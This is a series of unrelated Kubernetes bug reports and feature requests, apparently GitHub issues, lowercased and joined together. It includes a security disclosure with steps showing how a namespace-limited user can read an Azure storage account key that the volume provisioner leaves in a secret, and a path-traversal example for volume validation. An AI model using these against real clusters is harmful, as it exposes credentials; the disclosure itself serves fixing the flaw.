os  e.g. from /etc/os-release : ubuntu 16.04.3\r - kernel  e.g.  uname -a  : 4.9.93-linuxkit-aufs\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r /sig-windows\r \r   what happened  :\r \r in testing local volume on windows, notice that if the local volume path does not exist, the mount function in mount_windows does not check it and mount will succeeded. but pod will be stuck in createcontainer phase since the pod volume will be linked to an non-exist path. \r \r   what you expected to happen  :\r mount operation should fail and log the error message if local volume path does not exist.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

aws recently launched private link support for ecr, but in doing so changed the api endpoint for ecr. the latest aws sdk   v1.16.25  https://github.com/aws/aws-sdk-go/releases/tag/v1.16.25   includes updates to the new api endpoint. the existing endpoint will continue to work for existing clients, but won't work with privatelink.\r \r   what would you like to be added  :\r aws sdk updated to at least v1.16.25\r \r   why is this needed  :\r to fetch ecr images in aws without pulling over the internet.\r \r  

@kubernetes/sig-api-machiner-bugs\r \r \r <!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r  i had a cluster with 3 master server and suddenly i could see kube-controller-managers are in crashloopbackup and error state in all the 3 master nodes.\r   what you expected to happen  :\r run fine or restart successfully\r \r   how to reproduce it  as minimally and precisely as possible   :\r i happened suddenly in two of my clusters. kubeadm reset solves for sometime but it reoccurs again after some days.\r   anything else we need to know?  :\r i can even see restart in kube-schedulers and kubectl commands take more time than usual to give an output.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.4\ , gitcommit:\ c27b913fddd1a6c480c229191a087698aa92f0b1\ , gittreestate:\ clean\ , builddate:\ 2019-02-28t13:37:52z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.5\ , gitcommit:\ 2166946f41b36dea2c4626f90a77706f426cdea2\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t15:19:22z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r kvm 2 core 4gb ram\r - os  e.g:  cat /etc/os-release  :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r - kernel  e.g.  uname -a  :\r 4.4.176-1.el7.elrepo.x86_64  1 smp sat feb 23 09:05:01 est 2019 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r \r   below are the error logs from one of the kube-controller-manager pods but i saw this log just ones other logs are given below  \r \r flag --address has been deprecated, see --bind-address instead.\r i0403 05:23:25.287429       1 serving.go:318  generated self-signed cert in-memory\r i0403 05:23:25.842858       1 controllermanager.go:151  version: v1.13.4\r i0403 05:23:25.843339       1 secure_serving.go:116  serving securely on  :: :10257\r i0403 05:23:25.843757       1 deprecated_insecure_serving.go:51  serving insecurely on 127.0.0.1:10252\r i0403 05:23:25.844529       1 leaderelection.go:205  attempting to acquire leader lease  kube-system/kube-controller-manager...\r i0403 05:23:43.136941       1 leaderelection.go:214  successfully acquired lease kube-system/kube-controller-manager\r i0403 05:23:43.138223       1 event.go:221  event v1.objectreference{kind:\ endpoints\ , namespace:\ kube-system\ , name:\ kube-controller-manager\ , uid:\ eb40eac2-464b-11e9-8868-525400ec7062\ , apiversion:\ v1\ , resourceversion:\ 3612528\ , fieldpath:\ \ } : type: 'normal' reason: 'leaderelection' stagingmaster1.company.com_9b4ae0ba-55d0-11e9-8454-525400ec7062 became leader\r i0403 05:23:44.904263       1 plugins.go:103  no cloud provider specified.\r i0403 05:23:44.906064       1 controller_utils.go:1027  waiting for caches to sync for tokens controller\r e0403 05:23:56.904607       1 leaderelection.go:270  error retrieving resource lock kube-system/kube-controller-manager: get https://172.17.33.40:6443/api/v1/namespaces/kube-system/endpoints/kube-controller-manager?timeout=10s: context deadline exceeded\r e0403 05:23:56.904763       1 event.go:259  could not construct reference to: '&v1.endpoints{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ \ , generatename:\ \ , namespace:\ \ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{wall:0x0, ext:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, subsets:  v1.endpointsubset nil }' due to: 'selflink was empty, can't make reference'. will not report event: 'normal' 'leaderelection' 'stagingmaster1.company.com_9b4ae0ba-55d0-11e9-8454-525400ec7062 stopped leading'\r i0403 05:23:56.904908       1 leaderelection.go:249  failed to renew lease kube-system/kube-controller-manager: failed to tryacquireorrenew context deadline exceeded\r f0403 05:23:56.904937       1 controllermanager.go:254  leaderelection lost\r \r   below is how the pods looks now  \r \r kube-controller-manager-stagingmaster1.company.com   0/1     crashloopbackoff   106        18h\r kube-controller-manager-stagingmaster2.company.com   0/1     crashloopbackoff   100        18h\r kube-controller-manager-stagingmaster3.company.com   0/1     crashloopbackoff   113        18h\r kube-scheduler-stagingmaster1.company.com            1/1     running            98         18h\r kube-scheduler-stagingmaster2.company.com            1/1     running            19         18h\r kube-scheduler-stagingmaster3.company.com            1/1     running            90         19d\r \r   these are the logs from all the three pods  \r \r  root@stagingmaster1 ~   kubectl logs -n kube-system kube-controller-manager-stagingmaster1.company.com \r flag --address has been deprecated, see --bind-address instead.\r i0403 06:25:55.717052       1 serving.go:318  generated self-signed cert in-memory\r i0403 06:25:56.895769       1 controllermanager.go:151  version: v1.13.4\r i0403 06:25:56.898638       1 secure_serving.go:116  serving securely on  :: :10257\r i0403 06:25:56.899251       1 deprecated_insecure_serving.go:51  serving insecurely on 127.0.0.1:10252\r i0403 06:25:56.899467       1 leaderelection.go:205  attempting to acquire leader lease  kube-system/kube-controller-manager...\r i0403 06:26:14.145302       1 leaderelection.go:214  successfully acquired lease kube-system/kube-controller-manager\r i0403 06:26:14.147100       1 event.go:221  event v1.objectreference{kind:\ endpoints\ , namespace:\ kube-system\ , name:\ kube-controller-manager\ , uid:\ eb40eac2-464b-11e9-8868-525400ec7062\ , apiversion:\ v1\ , resourceversion:\ 3617358\ , fieldpath:\ \ } : type: 'normal' reason: 'leaderelection' stagingmaster1.company.com_57186fbd-55d9-11e9-8026-525400ec7062 became leader\r i0403 06:26:15.234291       1 plugins.go:103  no cloud provider specified.\r i0403 06:26:15.235961       1 controller_utils.go:1027  waiting for caches to sync for tokens controller\r i0403 06:26:26.358371       1 leaderelection.go:249  failed to renew lease kube-system/kube-controller-manager: failed to tryacquireorrenew context deadline exceeded\r f0403 06:26:26.358427       1 controllermanager.go:254  leaderelection lost\r  root@stagingmaster1 ~   kubectl logs -n kube-system kube-controller-manager-stagingmaster2.company.com \r flag --address has been deprecated, see --bind-address instead.\r i0403 06:26:25.738821       1 serving.go:318  generated self-signed cert in-memory\r i0403 06:26:26.222086       1 controllermanager.go:151  version: v1.13.5\r i0403 06:26:26.223659       1 secure_serving.go:116  serving securely on  :: :10257\r i0403 06:26:26.224681       1 deprecated_insecure_serving.go:51  serving insecurely on 127.0.0.1:10252\r i0403 06:26:26.224887       1 leaderelection.go:205  attempting to acquire leader lease  kube-system/kube-controller-manager...\r i0403 06:26:41.959151       1 leaderelection.go:214  successfully acquired lease kube-system/kube-controller-manager\r i0403 06:26:41.959707       1 event.go:221  event v1.objectreference{kind:\ endpoints\ , namespace:\ kube-system\ , name:\ kube-controller-manager\ , uid:\ eb40eac2-464b-11e9-8868-525400ec7062\ , apiversion:\ v1\ , resourceversion:\ 3617395\ , fieldpath:\ \ } : type: 'normal' reason: 'leaderelection' stagingmaster2.company.com_689324cf-55d9-11e9-a090-5254002bc8cc became leader\r i0403 06:26:51.959652       1 leaderelection.go:249  failed to renew lease kube-system/kube-controller-manager: failed to tryacquireorrenew context deadline exceeded\r f0403 06:26:51.959714       1 controllermanager.go:254  leaderelection lost\r  root@stagingmaster1 ~   kubectl logs -n kube-system kube-controller-manager-stagingmaster3.company.com \r flag --address has been deprecated, see --bind-address instead.\r i0403 06:27:02.373917       1 serving.go:318  generated self-signed cert in-memory\r i0403 06:27:02.793242       1 controllermanager.go:151  version: v1.13.4\r i0403 06:27:02.794348       1 secure_serving.go:116  serving securely on  :: :10257\r i0403 06:27:02.795223       1 deprecated_insecure_serving.go:51  serving insecurely on 127.0.0.1:10252\r i0403 06:27:02.795376       1 leaderelection.go:205  attempting to acquire leader lease  kube-system/kube-controller-manager...\r i0403 06:27:18.372944       1 leaderelection.go:214  successfully acquired lease kube-system/kube-controller-manager\r i0403 06:27:18.373736       1 event.go:221  event v1.objectreference{kind:\ endpoints\ , namespace:\ kube-system\ , name:\ kube-controller-manager\ , uid:\ eb40eac2-464b-11e9-8868-525400ec7062\ , apiversion:\ v1\ , resourceversion:\ 3617444\ , fieldpath:\ \ } : type: 'normal' reason: 'leaderelection' stagingmaster3.company.com_7e5f5bd7-55d9-11e9-a20d-525400652e16 became leader\r i0403 06:27:18.451891       1 plugins.go:103  no cloud provider specified.\r i0403 06:27:18.455452       1 controller_utils.go:1027  waiting for caches to sync for tokens controller\r i0403 06:27:30.455940       1 leaderelection.go:249  failed to renew lease kube-system/kube-controller-manager: failed to tryacquireorrenew context deadline exceeded\r f0403 06:27:30.456007       1 controllermanager.go:254  leaderelection lost\r \r \r   /var/log/messages  \r apr  3 12:02:19 stagingmaster1 kubelet: e0403 12:02:19.799477   38844 pod_workers.go:190  error syncing pod e8895af6723911002b5cc8f57e191fb8  \ kube-controller-manager-stagingmaster1.company.com_kube-system e8895af6723911002b5cc8f57e191fb8 \  , skipping: failed to \ startcontainer\  for \ kube-controller-manager\  with crashloopbackoff: \ back-off 5m0s restarting failed container=kube-controller-manager pod=kube-controller-manager-stagingmaster1.company.com_kube-system e8895af6723911002b5cc8f57e191fb8 \ \r apr  3 12:02:30 stagingmaster1 kubelet: e0403 12:02:30.799260   38844 pod_workers.go:190  error syncing pod e8895af6723911002b5cc8f57e191fb8  \ kube-controller-manager-stagingmaster1.company.com_kube-system e8895af6723911002b5cc8f57e191fb8 \  , skipping: failed to \ startcontainer\  for \ kube-controller-manager\  with crashloopbackoff: \ back-off 5m0s restarting failed container=kube-controller-manager pod=kube-controller-manager-stagingmaster1.company.com_kube-system e8895af6723911002b5cc8f57e191fb8 \ \r apr  3 12:02:45 stagingmaster1 kubelet: e0403 12:02:45.799568   38844 pod_workers.go:190  error syncing pod e8895af6723911002b5cc8f57e191fb8  \ kube-controller-manager-stagingmaster1.company.com_kube-system e8895af6723911002b5cc8f57e191fb8 \  , skipping: failed to \ startcontainer\  for \ kube-controller-manager\  with crashloopbackoff: \ back-off 5m0s restarting failed container=kube-controller-manager pod=kube-controller-manager-stagingmaster1.company.com_kube-system e8895af6723911002b5cc8f57e191fb8 \ \r \r \r this has very little resolution available online in all my searches and i could see many people facing it, most of them fixed it by rebuilding the clusters from scratch or doing kubeadm reset when it occurs.\r \r if you need more information please ask\r \r

in the e2e testing framework we have an auth utility function isrbacenabled:\r https://github.com/kubernetes/kubernetes/blob/master/test/e2e/framework/authorizer_util.go l137\r \r in the testing commons meeting today @timothysc proposed that we might want to refactor this utility.\r \r   a question   related to this code and the e2e testing framework is - should we fail immediately when the framework starts and the cluster has no rbac, instead of having this utility called in many locations?\r \r    /area e2e-test-framework\r

current results look like this:\r    \r i0210 18:33:16.839  feb 10 18:33:16.839: info: resourceusagesummary json\r i0210 18:33:16.840  {}\r    \r \r this is probably caused by:\r    \r i0210 18:09:44.941  feb 10 18:09:44.941: info: error while reading data from e2e-scalability-minion-group-rjn8: forbidden  user=kube-apiserver, verb=create, resource=nodes, subresource=stats   post nodes e2e-scalability-minion-group-rjn8:10250 \r    \r \r which means that one of rbac changes broke https://github.com/kubernetes/kubernetes/blob/master/test/e2e/framework/resource_usage_gatherer.go\r \r monitoring resource usage is very important  even though we don't promise anything in that space , so we need to fix that during the code freeze. @timothysc @jeremyeder \r \r quick-ish fix would be to make default service account admin of the scalability test clusters @kubernetes/test-infra-maintainers @shyamjvs @wojtek-t \r \r the tool is very old, and thus very brutal, so we may want to replace it with something better, but i can't take too long.

from @liggitt :\r \r in the process of provisioning a pv, it creates a secret in the namespace of the pvc containing the account name and key  password  needed to mount the pv. this secret is visible to a namespace-limited user.\r \r steps:\r \r 1. run a cluster with\r the azure cloud provider\r dynamic pv provisioning enabled\r a storage class specified for the azure file dynamic provisioner\r kube-controller-manager set to --use-service-account-credentials=false  the default  or with the persistent-volume-binder service account given permission to create secrets\r 2. as a namespace-limited user, create a pvc requesting the azure file storageclass\r \r result:\r depending on your authorization policy, a secret with the password for the storage account is created in the same namespace as the pvc.\r \r relevant source:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/azure_file/azure_provision.go l161-l169\r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/azure/azure_storage.go l273\r https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/azure_file/azure_util.go l78\r \r note:\r if the cluster is running with rbac authorization only, and the controller manager is running with --use-service-account-credentials, the persistent-volume-binder role does not permit creation of secrets, so the provision   operation would fail, and the credentials would not be exposed.\r \r we should update the pvc controller so that the namespace where the secret is created is customizable.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r attempting to deploy a daemonset with  securitycontext.privileged: true  in a federated cluster gives an error:  forbidden: disallowed by cluster policy \r \r   what you expected to happen  :\r \r the daemonset to be created.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a federated cluster using  kubefed , and submit the following daemonset:\r \r    yaml\r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   name: privileged\r   labels:\r     app: privileged\r spec:\r   template:\r     metadata:\r       labels:\r         app: privileged\r     spec:\r       containers:\r       - name: privileged\r         image: busybox\r         command:  'sleep', '10000' \r         securitycontext:\r           privileged: true\r    \r \r this gives the following error:\r \r    sh\r $ kubectl apply -f privileged.yaml\r the daemonset \ privileged\  is invalid: spec.template.spec.containers 0 .securitycontext.privileged: forbidden: disallowed by cluster policy\r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.3\r - cloud provider or hardware configuration  : gke\r - os  e.g. from /etc/os-release : cos 59 build 9460.73.0\r - kernel  e.g.  uname -a  : 4.4.52\r - install tools:\r - others: kubefed 1.7.3\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r  /area cloudprovider\r \r   what happened  :\r \r there are two goroutines that can modify load balancer services in the service controller. the first is the worker that consumes events from the informer via the workqueue. the second is the worker that attempts to sync nodes and update load balancers when the nodes have changed  say one is cordoned now . \r \r as seen below in the logs, it's possible to have the node syncer and the queue worker updating the same service at the same time. the node syncer calls a method called  lockedupdateloadbalancerhosts  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/service/service_controller.go l668 ; however, there is no mutex that prevents concurrent modification of a given service other than the queue contrary to what the comments say on the method. \r \r    \r i1004 21:52:32.920417      48 service_controller.go:633  detected change in list of current cluster nodes. new node set:  <host> \r i1004 21:52:32.920487      48 load_balancer.go:383  attempting to update load balancer 'k8s-poc-7e8ab7fd-a94b-11e7-b2d8-0000170136cc'\r i1004 21:52:34.072576      48 load_balancer.go:246  applying  update  action on backend set  tcp-80  for lb  <lbid> \r i1004 21:52:34.202269      48 service_controller.go:736  service has been deleted kube-system/kube-proxy-lb\r i1004 21:52:34.202319      48 load_balancer.go:419  attempting to delete load balancer with name  k8s-poc-7e8ab7fd-a94b-11e7-b2d8-0000170136cc \r i1004 21:52:35.502980      48 load_balancer.go:475  deleting load balancer  k8s-poc-7e8ab7fd-a94b-11e7-b2d8-0000170136cc   ocid:  <instanceid>  \r i1004 21:52:55.657560      48 service_controller.go:641  successfully updated 3 out of 3 load balancers to direct traffic to the updated set of nodes\r i1004 21:53:13.258233      48 load_balancer.go:487  deleted load balancer  k8s-poc-7e8ab7fd-a94b-11e7-b2d8-0000170136cc   ocid:  <instanceid>  \r    \r \r   what you expected to happen  :\r \r i expect that the update would happen followed by the delete, but not at the same time. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a load balancer service\r 2. cordon a node\r 3. while the backend is being updated delete the service\r \r   anything else we need to know?  :\r \r i propose we solve this by submitting each service to the queue to be reprocessed if the known hosts change in the node sync loop. this way each service is guarded by the work queue.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8\r - cloud provider or hardware configuration  : oci\r \r \r cc @luxas @andrewsykim @wlan0 @prydie

 \r   what happened  :\r i deploy the kubernetes on aws by using juju, the command shows as follow:\r \r > juju deploy kubernetes-core\r \r the juju status show as follow:\r ! screenshot from 2017-10-06 10-38-30  https://user-images.githubusercontent.com/20473627/31253767-91d1bc60-aa82-11e7-92a8-6cb7cf39acc2.png \r \r then i change the ip address of the kubernetes master machine. after this, i can't connect to kubernetes.\r it responded an error message as follow:\r \r > unable to connect to the server: x509: certificate is valid for 13.124.194.81, 172.31.20.111, 10.152.183.1, not 13.125.7.33\r \r   what you expected to happen  :\r i expected the connection between kube client and kube service is normal.\r   how to reproduce it  as minimally and precisely as possible   :\r change the kubernetes master instance ip address.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:55:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  :\r aws\r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r - kernel  e.g.  uname -a  :\r linux frank-thinkpad-l570 4.10.0-35-generic  39~16.04.1-ubuntu smp wed sep 13 09:02:42 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r juju version is 2.2.4-xenial-amd64\r - others:\r \r @justinsb \r

 \r \r   what happened  :\r performed a clean install on centos linux release 7.4.1708 and started kubelet\r  yum install -y kubelet kubeadm kubectl\r systemctl enable kubelet && systemctl start kubelet\r  \r  \r systemctl status kubelet\r tail -100f /var/log/messages | grep kubelet\r \r kubelet: error: unable to load client ca file /etc/kubernetes/pki/ca.crt: open /etc/kubernetes/pki/ca.crt: no such file or directory \r \r   what you expected to happen  :\r kubelet starts successfully\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r  yum install -y kubelet kubeadm kubectl\r systemctl enable kubelet && systemctl start kubelet \r \r  systemctl status kubelet\r tail -100f /var/log/messages | grep kubelet\r  \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r  client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  \r - cloud provider or hardware configuration  : \r  centos linux release 7.4.1708  core  on virtualbox  \r \r - os  e.g. from /etc/os-release :\r  name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r  \r \r - kernel  e.g.  uname -a  :\r  linux kubemaster 3.10.0-693.2.2.el7.x86_64  1 smp tue sep 12 22:26:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r  \r - install tools:\r  kubelet kubeadm kubectl  \r - others:\r docker-1.12.6-55.gitc4618fb.el7.centos.x86_64

currently the e2e test  https://github.com/kubernetes/kubernetes/pull/54165  uses one-way tls authentication. we need to add client authentication. it will include generating client cert/key and plumbing them through kubeconfig file.

kubernetes version: 1.8\r \r i am using kubernetes to run third party untrusted code in isolation. i'd like these pods to only have access to the public internet. in order to do so, i have an egress network policy with the following rule:\r \r    yml\r     - ipblock:\r         cidr: 0.0.0.0/0\r         except:\r           - 10.16.0.0/16    block access to vpc cidr\r           - 100.64.0.0/10    block access to kubernetes non masquerade cidr\r    \r \r the problem with this is that i can't resolve public addresses like  google.com  because the pod doesn't have access to kube-dns. one approach would be to whitelist the kubedns pod but it doesn't look like that's enough  address doesn't get resolved anyway . another workaround would be to change the  /etc/resolv.conf  to point to a public dns  eg 8.8.8.8 . i'd like to go with the former, but i am not sure how to make it work, and if that's possible at all. since this seems to me like a very common use case for network policies, it might be worthwile to expand the docs with whatever solution comes out of this discussion.

tracking issue for computing  conditions  as part of the statefulset controller reconciliation loop.\r \r ref  55792\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r in some circumstances  e.g. oomkilled  containers are restarted many times, if the restart policy is \ always\ . you can only decide to always \ fail\  the pod or keep it running forever. \r   what you expected to happen  :\r i would like to have an option to \ fail\  the pod, after a configurable number of container restarts  maybe within a timeframe .\r   how to reproduce it  as minimally and precisely as possible   :\r pod with: restart policy \ always\ , volume: empty-dir-memory\r create a large file within the volume which exceeds the cgroup limit.\r the pod will end up in a restart loop  i will create a separate bug report for this .\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.6\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r pod is removed from endpoints list for service after user sends command to delete pod\r see:\r https://kubernetes.io/docs/concepts/workloads/pods/pod/ termination-of-pods\r \ termination of pods\ \r \r 4.  simultaneous with 3  when the kubelet sees that a pod has been marked as terminating because the time in 2 has been set, it begins the pod shutdown process.\r     1. if the pod has defined a prestop hook, it is invoked inside of the pod. if the prestop hook is still running after the grace period expires, step 2 is then invoked with a small  2 second  extended grace period.\r     2. the processes in the pod are sent the term signal.\r 5.  simultaneous with 3    _pod is removed from endpoints list for service, and are no longer considered part of the set of running pods for replication controllers. pods that shutdown slowly cannot continue to serve traffic as load balancers  like the service proxy  remove them from their rotations._  \r \r \r \r   what you expected to happen  :\r pod is removed from endpoints list for service after \ prestop\  and before send the term signal to pod\r hope change to:\r \r 4.  simultaneous with 3  when the kubelet sees that a pod has been marked as terminating because the time in 2 has been set, it begins the pod shutdown process.\r     1. if the pod has defined a prestop hook, it is invoked inside of the pod. if the prestop hook is still running after the grace period expires, step 2 is then invoked with a small  2 second  extended grace period.\r     2.   _pod is removed from endpoints list for service, and are no longer considered part of the set of running pods for replication controllers. pods that shutdown slowly cannot continue to serve traffic as load balancers  like the service proxy  remove them from their rotations._  \r     3. the processes in the pod are sent the term signal.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r by current terminating process, \ prestop\  can do limited for graceful shutdown because pod exit receiving traffic immediately.\r i think if we can make such change, the pod can have more choices to decide exiting behavior by itself. \r if pod did not define \ prestop\  action, the precess after changed will be same as before.\r if pod define \ prestop\ , the pod can use \ prestop\  and \ readnessprobe\  to decide when pod stop receiving traffic, when pod can shutdown gracefully and then kubernetes can send term signal to pod.\r this is very useful for developing a strong and graceful application running in a pod.\r also, current terminating process impact third ingress gateway developing, such as istio.\r istio ingress gateway can't check service endpoints list for each request. that will make it distribute some requests to a terminating pod before ingress gateway got endpoints list update. \r that means the traffic will be impacted when we do service \ scale in\ /\ delete pod\  even if we define \ prestop\  for pod.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r 1.11.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r - kernel  e.g.  uname -a  :\r linux seliius04106 4.4.0-103-generic  126-ubuntu smp mon dec 4 16:23:28 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:

from  15730, \ the dynamic client lets users consume apis which are not compiled into their binary...\   rough todo list is to: - get consensus on an interface - examine kubectl's builder. - conscript runtime.unstructured  or similar type . - type needs to allow easy/standardized metadata introspection. - make a codec supporting the type. - implement the client. - wire in to potential users; namespace controller would be an ideal consumer. - replace kubectl's builder?

fyi. i am thinking about this recently when i am integrating kubernetes 1.2 with docker 1.10, and also some docker network plugins. i think after docker provides  docker network  command,  --net  option is not just  none, bridge, host, container, default . some docker network plugins may create other meaningful network name. i am not sure whether kubelet should support this case, but i can it's indeed necessary in some use cases. @dchen1107 @random-liu wdyt?

during testing a aws cluster, found aws volume once was pending for detach about 30 minutes. according to the log, the following happened, - controller issues a detach operation - after detach response returns, it periodically checks the status until it reaches \ detached\ . however, in this test, the status is \ busy\  all the time.  - after reaching the timeout 30 mins, detach function returns error because the status is not \ detached\   the following is the log related to the failed test  i0915 18:29:46.470405       5 operation_executor.go:649  verified volume is safe to detach for volume \ kubernetes.io/aws-ebs/aws://us-west-2a/vol-540bc3dc\   spec.name: \ pvc-540ccbfc-7ac7-11e6-abe5-02a41bd7f415\   from node \ ip-172-20-0-244.us-west-2.compute.internal\ . e0915 18:59:54.924434       5 attacher.go:206  error detaching volumeid \ vol-540bc3dc\ : timeout waiting for volume state: actual=busy, desired=detached e0915 18:59:54.924496       5 nestedpendingoperations.go:253  operation for \ \\\ kubernetes.io/aws-ebs/aws://us-west-2a/vol-540bc3dc\\\ \  failed. no retries permitted until 2016-09-15 18:59:55.424472076 +0000 utc  durationbeforeretry 500ms . error: detachvolume.detach failed for volume \ kubernetes.io/aws-ebs/aws://us-west-2a/vol-540bc3dc\   spec.name: \ pvc-540ccbfc-7ac7-11e6-abe5-02a41bd7f415\   from node \ ip-172-20-0-244.us-west-2.compute.internal\  with: timeout waiting for volume state: actual=busy, desired=detached

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-5-gce/1607/  run so broken it didn't make junit output!

after  39164 we now have two separate \ internal\  networkpolicy objects: extensions.networkpolicy, and networking.networkpolicy. additionally, there are two separate packages under pkg/registry  pkg/registry/extensions/networkpolicy and pkg/registry/network/networkpolicy , two sets of kubectl printers/describers, and some handwritten conversions in pkg/apis/extensions/v1beta1 and pkg/apis/networking/v1.\r \r it ought to be possible to get rid of this duplication, without changing the externally-visible api.\r

kubernetes version    use  kubectl version  : 1.7\r \r similar to  47107, we need to check for backsteps in the path  \ /foo/bar/../../../baz\   for the local volume.  it should be checked in the api validation, and also at mount time.

